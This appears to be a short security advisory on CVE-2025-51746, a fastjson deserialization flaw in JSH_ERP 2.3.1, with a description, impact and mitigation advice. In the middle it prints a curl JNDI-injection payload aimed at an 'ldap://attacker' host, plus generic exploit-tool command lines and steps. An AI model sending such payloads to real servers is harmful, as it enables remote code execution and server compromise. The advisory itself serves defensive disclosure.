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The CVE-2025-51746 vulnerability exploits a insecure deserialization flaw in the fastjson library used by jishenghua JSH_ERP version 2.3.1. Specifically, the `/serialNumber/addSerialNumber` endpoint accepts JSON input without proper validation or sanitization. Fastjson, a Java JSON parser, when configured with auto-type feature enabled or certain versions, can deserialize malicious payloads that instantiate arbitrary Java classes. An attacker can craft a JSON object containing specially crafted `@type` or `$ref` properties that reference dangerous Java classes from the classpath, such as those from common libraries. When the endpoint processes this payload, the deserialization process triggers the execution of constructor methods, static initializers, or getter/setter methods of those classes. This can lead to the loading and execution of harmful code embedded within the JSON structure. The vulnerability likely stems from the application using a vulnerable version of fastjson (e.g., before 1.2.83) or misconfigured serialization settings. The attack does not require authentication if the endpoint is publicly accessible, allowing remote exploitation. The deserialization occurs server-side, enabling potential Remote Code Execution (RCE) by chaining gadget chains present in the application’s dependencies. The impact is severe as it compromises the server hosting the ERP system, allowing attackers to run commands, access databases, or deploy malware. The vulnerability is network-exploitable and has a low attack complexity, making it a critical threat to systems running the affected version without patches or workarounds.
Platform: jishenghua JSH_ERP
Version: 2.3.1
Vulnerability: fastjson deserialization
Severity: Critical
date: 11/25/2025
Prediction: Patch pending
What Undercode Say:
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curl -X POST http://target:port/serialNumber/addSerialNumber -H “Content-Type: application/json” -d ‘{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://attacker:1389/Exploit”,”autoCommit”:true}’
python3 exploit.py –url http://target:port/serialNumber/addSerialNumber –payload ‘malicious.json’
java -jar fastjson-exploit.jar JSH_ERP target:port /serialNumber/addSerialNumber
how Exploit:
Craft malicious JSON with @type pointing to dangerous class like JdbcRowSetImpl. Use LDAP/RMI server to deliver remote code. Send payload via POST request to vulnerable endpoint. Trigger deserialization for RCE.
Protection from this CVE
Upgrade fastjson library. Disable autotype feature. Validate input sanitization. Use security patches. Implement network segmentation.
Impact:
Remote Code Execution. Data breach possible. System compromise likely. Service disruption high.
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Sources:
Reported By: nvd.nist.gov
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